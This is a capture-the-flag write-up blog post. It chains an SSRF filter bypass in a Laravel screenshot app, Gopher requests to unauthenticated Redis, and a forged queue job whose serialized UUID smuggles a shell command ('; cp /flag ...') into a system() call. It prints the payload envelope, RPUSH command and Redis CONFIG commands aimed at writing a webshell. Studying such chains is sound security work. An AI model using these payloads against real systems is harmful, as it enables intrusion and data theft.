Published on

The syntax was destroying my sanity, so I made a tool

Authors
  • avatar
    Name
    mfkrypt
    Twitter
Table of Contents

Footprinting

At face value, we are greeted with a Laravel application, with the ability to take screenshots and look at the html source

Source Code Review

When auditing Laravel source code, I often use this website that has a checklist:

https://stackshield.io/checklists/laravel-security-audit

Routes

Starting with routes/, we observe api.php

<?php

use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;

use App\Http\Controllers\SiteShotController;


Route::post('/getss', [SiteShotController::class, 'getSS']);
Route::post('/get-html', [SiteShotController::class, 'getHtml']);

So now, there are two api requests that are made:

/api/getss
/api/get-html

It also imports a class called SiteShotController. Let us trace the source there

Controllers

Now in SiteShotController.php there are 3 parts:

  1. getHtml() function definition
  2. getSS() function definition
  3. Filters and restrictions

Since No.1 & 2 are self explanatory and they both enforced the filters, we will only look at no.3

<?php

namespace App\Http\Controllers;

use App\Services\SiteShotService;
use Illuminate\Http\Request;

class SiteShotController extends Controller
{
    ...
    ...
    ...
    
    private function isValidIPv4($ip) {
        return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false;
    }

    private function isValidDomain($domain) {
        $pattern = '/^(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9][a-z0-9-]{0,61}[a-z0-9])$/i';
        if (!preg_match($pattern, $domain)) {
            return false;
        }
    
        if (!checkdnsrr($domain, 'A') && !checkdnsrr($domain, 'AAAA')) {
            return false;
        }
    
        return true;
    }

    private function isLocalIP($ip) {
        if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
            return true;
        }

        if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)) {
            return true;
        }

        return false;
    }
}

Basically:

  • isValidIPv4 blocks IPv4 addresses
  • isValidDomain allows domains that resolve via DNS
  • isLocalIP blocks private & reserved IPs

So the way to get around this is by using publicly available DNS that resolves to localhost such as 127.0.0.1.nip.io and localtest.me. . Let us inspect further by checking the SiteShotService

Services

Snippet of SiteShotService.php for the Screenshot feature:

public function getScreenShotResp($url) 
    {
        $ssurl = "https://api.screenshotmachine.com/?key=6b76b2&dimension=1024x768&url=".$url;

View Source feature:

public function getHtmlResp($url) 
    {
        // Create a new cURL resource
        $ch = curl_init();

        // Set cURL options
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_TIMEOUT, 3);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

        // Execute cURL request
        $response = curl_exec($ch);

        // Check for errors
        if (curl_errno($ch)) {
            $error = curl_error($ch);
            curl_close($ch);
            return response()->json([
                'status' => 'failed',
            ]);

        }

As you can see, the viable option for an SSRF vector would be the View Source feature since it directly makes a curl request whereas the Screenshot feature is passing the user input to a 3'rd party API.

SSRF >> Redis

With Redis backend, a few things you need to check:

  1. Check if Redis is unauthenticated
# Check if `requirepass` is set 
# "NOAUTH" → password required

INFO
  1. Check if we have write privileges

https://hacktricks.wiki/en/network-services-pentesting/6379-pentesting-redis.html?highlight=redis#modern-hardening-caveat-redis-7

SET test "Hello"
SAVE
  1. Check privileged commands
## Check if CONFIG works (Write webshell)

CONFIG GET dir
CONFIG GET dbfilename

## If it works

CONFIG SET dir /tmp
CONFIG SET dbfilename test.txt
  1. Check Keys
KEYS *
TYPE <key>
LRANGE <key> 0 -1

Now, these are Redis commands. Since, we are using an SSRF primitive, we are able to use the Gopher protocol to to be able to communicate with the Redis backend.

We need to be able to URL encode and CRLF terminate our payload to be able to send valid Redis commands. You can imagine this would be pretty hectic especially taking in the fact that some large messages that include bulk strings would require the RESP protocol formatting. That's where I and Claude made a tool to solve this issue

Enter GopherWrap

https://github.com/mfkrypt/gopherwrap

GopherWrap solves exactly that. It is a tool I made using Golang with a nice TUI supporting RESP parsing formats.

WARNING

We need to end every payload with a QUIT command

Laravel Queues

Enumerating the standard Redis commands, we identify a key called laravel_database_queues:default, checking the lists:

LRANGE laravel_database_queues:default 0 -1
QUIT

Using an online JSON formatter, we have a better look at the structure of the JSON envelope:

{
  "uuid": "bf989753-f2e7-458b-9e1a-0c5994941238",
  "displayName": "App\\Jobs\\rmFile",
  "job": "Illuminate\\Queue\\CallQueuedHandler@call",
  "maxTries": null,
  "maxExceptions": null,
  "failOnTimeout": false,
  "backoff": null,
  "timeout": null,
  "retryUntil": null,
  "data": {
    "commandName": "App\\Jobs\\rmFile",
    "command": "O:15:\"App\\Jobs\\rmFile\":1:{s:9:\"fileQueue\";O:21:\"App\\Message\\FileQueue\":3:{s:8:\"filePath\";s:45:\"/src/e68b3f96-3cb9-45a4-a16b-b32dec5f569e.txt\";s:4:\"uuid\";s:36:\"e68b3f96-3cb9-45a4-a16b-b32dec5f569e\";s:3:\"ext\";s:3:\"txt\";}}"
  },
  "id": "NjGhBlOH2QTtWdtaPXXTnnBPU41zck9D",
  "attempts": 0
}

Researching about Laravel Queues led me to this website which was a great read:

https://wendelladriel.com/blog/laravel-queues-under-the-hood

Based on the JSON envelope, we can observe that the queue has a running Job called rmFile

Jobs

<?php

namespace App\Jobs;

use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeUnique;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\SerializesModels;

use App\Message\FileQueue;

class rmFile implements ShouldQueue
{
    use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;

    public $fileQueue;
    /**
     * Create a new job instance.
     */
    public function __construct(FileQueue $fileQueue)
    {
        $this->fileQueue = $fileQueue;
    }

    /**
     * Execute the job.
     */
    public function handle(): void
    {
        $this->fileQueue->deleteFile();
    }
}

SerializesModels is a trait that serializes Eloquent models passed to queued jobs by storing only their IDs. But the problem with the job queue above is that it uses a custom class called FileQueue, so we will also trace that

Messages

<?php

namespace App\Message;

class FileQueue 
{
    public $filePath;

    public function __construct(string $uuid, string $type)
    {
        $this->uuid = $uuid;
        $this->ext = $type;

        if (!file_exists("/www/public/src")) {
            mkdir("/www/public/src", 0755);
        }

        if (!file_exists("/www/public/ss")) {
            mkdir("/www/public/ss", 0755);
        }
    }

    public function buildFilePath(): string
    {
        $filename = $this->uuid.".".$this->ext;
        if ($this->ext === "txt")
        {
            $this->filePath = join(DIRECTORY_SEPARATOR, ["/www/public/src", $filename]);
        }
        if ($this->ext === "png")
        {
            $this->filePath = join(DIRECTORY_SEPARATOR, ["/www/public/ss", $filename]);
        }
        
        return $this->filePath;
    }

    public function buildFilePathWeb(): string
    {
        $filename = $this->uuid.".".$this->ext;
        if ($this->ext === "txt")
        {
            $this->filePath = join(DIRECTORY_SEPARATOR, ["/src", $filename]);
        }
        if ($this->ext === "png")
        {
            $this->filePath = join(DIRECTORY_SEPARATOR, ["/ss", $filename]);
        }
        
        return $this->filePath;
    }

    public function deleteFile() 
    {
        $filepath = $this->buildFilePath();
        system("echo '".$this->uuid."'>>halo");
        system("rm ".$filepath);
    }
}

In deleteFile(), there exists a system() sink that deletes the file after the generated UUID and .txt extension is concatenated together. The job then gets queued and serialized. We can observe an example of serialized data in the data.command field in the JSON envelope

"data": {
    "commandName": "App\\Jobs\\rmFile",
    "command": "O:15:\"App\\Jobs\\rmFile\":1:{s:9:\"fileQueue\";O:21:\"App\\Message\\FileQueue\":3:{s:8:\"filePath\";s:45:\"/src/e68b3f96-3cb9-45a4-a16b-b32dec5f569e.txt\";s:4:\"uuid\";s:36:\"e68b3f96-3cb9-45a4-a16b-b32dec5f569e\";s:3:\"ext\";s:3:\"txt\";}}"
  }

Exploitation Plan

Command Injection via Insecure Deserialization

So, the plan is to PUSH the same JSON envelope so it becomes a malicious queue by slipping in a command injection in between the UUID to copy the flag to the public directory since we know the webroot

; cp /flag /www/public/flag.txt #

The JSON envelope we will push:

{
	"uuid":"bf989753-f2e7-458b-9e1a-0c5994941238",
	"displayName":"App\\Jobs\\rmFile",
	"job":"Illuminate\\Queue\\CallQueuedHandler@call",
	"maxTries":null,
	"maxExceptions":null,
	"failOnTimeout":false,
	"backoff":null,
	"timeout":null,
	"retryUntil":null,
	"data":{
		"commandName":"App\\Jobs\\rmFile",
		"command":"O:15:\"App\\Jobs\\rmFile\":1:{s:9:\"fileQueue\";O:21:\"App\\Message\\FileQueue\":3:{s:8:\"filePath\";s:45:\"\/src\/e68b3f96-3cb9-45a4-a16b-b32dec5f569e.txt\";s:4:\"uuid\";s:69:\"e68b3f96-3cb9-45a4-a16b-b32dec5f569e; cp /flag /www/public/flag.txt #\";s:3:\"ext\";s:3:\"txt\";}}"
	},
	"id":"NjGhBlOH2QTtWdtaPXXTnnBPU41zck9D",
	"attempts":0
}

Turn the JSON into a one liner:

https://jsonformatter.org/json-to-one-line

Redis has the command RPUSH to append a value to the current queue lists, meaning we will push the job to the queue with this command. If everything goes well, our payload will be serialized and executed.

RPUSH laravel_database_queues:default '<JSON-ENVELOPE-ONE-LINER>'
QUIT

WARNING

Use the GopherWrap tool with the RESP formatting

We should get this OK response after pushing tho the job queue

We wait for like 4-5 minutes then check the /flag.txt. It should be appearing if done correctly

Sources